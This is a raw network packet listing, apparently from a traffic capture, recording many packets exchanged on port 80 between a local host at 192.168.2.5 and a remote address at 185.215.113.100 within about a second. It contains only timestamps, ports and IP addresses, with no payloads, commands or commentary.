Aug 31, 2024 10:14:12.714693069 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714719057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714735985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714862108 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714871883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714900970 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714920998 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714924097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714936018 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714962006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.714967966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.714972019 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715002060 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715029001 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715209007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715250969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715254068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715265036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715286016 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715291977 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715295076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715312004 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715327978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715392113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715403080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715428114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715431929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715457916 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715467930 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715625048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715671062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715676069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715687990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715713978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715733051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715764999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715807915 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.715979099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.715987921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716007948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716021061 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716042042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716048002 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716056108 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716080904 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716093063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716099977 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716104031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716130018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716145039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716406107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716445923 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716458082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716469049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716494083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716505051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716511011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716536045 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716558933 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716574907 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716586113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716603994 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716614962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716643095 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716667891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716679096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716698885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716707945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716727018 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716742039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716790915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716833115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716851950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716861010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716887951 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716891050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716902971 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716908932 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716928959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716937065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716969967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.716985941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.716996908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717016935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717026949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717026949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717053890 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717077017 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717143059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717153072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717174053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717185020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717185974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717197895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717201948 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717223883 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717247009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717261076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717283964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717298985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717303991 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717319012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717325926 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717330933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717344999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717344999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717356920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717371941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717377901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717384100 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717396021 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717401981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717412949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717417955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717427015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717447042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717463970 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717468977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717482090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717494965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717508078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717521906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717530012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717540026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717540979 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717559099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717569113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717577934 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717592001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717605114 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717638016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717681885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717730045 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717756987 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717768908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717788935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717797995 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717798948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717812061 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717839003 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717864037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717890024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717901945 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717907906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717927933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717940092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717957973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717957973 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.717972040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717988968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.717992067 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.718003035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718010902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.718034029 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.718034983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718045950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718060017 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.718066931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718080997 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718094110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718106031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718107939 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.718138933 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.718602896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718616962 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718636990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718645096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.718673944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.718863010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718902111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.718928099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718931913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718965054 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.718980074 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719007969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719047070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719058037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719082117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719088078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719105005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719124079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719186068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719196081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719225883 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719237089 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719281912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719294071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719316959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719322920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719333887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719342947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719347000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719362020 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719381094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719383955 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719393969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719407082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719419956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719441891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719450951 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719454050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.719482899 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.719521046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720293999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720329046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720336914 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720340014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720364094 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720366955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720381975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720407009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720449924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720460892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720488071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720498085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720499039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720504999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720526934 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720536947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720606089 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720618010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720637083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720645905 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720647097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.720664978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.720693111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863208055 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863363981 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863373041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863373995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863389969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863405943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863413095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863421917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863434076 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863442898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863451958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863476038 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863481045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863482952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863498926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863507986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863522053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863537073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863548040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863550901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863568068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863576889 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863588095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863601923 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863603115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863619089 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863620996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863631010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863631964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863647938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863657951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863667965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863670111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863684893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863694906 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863703966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863723040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863745928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863842964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863882065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863917112 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863926888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863941908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.863957882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863970995 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.863996983 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864120960 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864168882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864197969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864207983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864227057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864234924 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864252090 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864262104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864392042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864403963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864423037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864438057 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864445925 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864456892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864469051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864474058 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864489079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864494085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864505053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864523888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864537001 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864561081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864644051 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864665031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864675045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864687920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864717960 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864835978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864845037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864869118 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864871025 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864885092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.864897966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864916086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.864924908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865143061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865153074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865173101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865183115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865184069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865196943 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865210056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865211964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865221024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865233898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865253925 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865386009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865397930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865422010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865427017 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865434885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865459919 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865488052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865580082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865592003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865612984 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865618944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865639925 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865648031 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.865705013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.865715981 CEST	80	49704	185.215.113.100	192.168.2.5
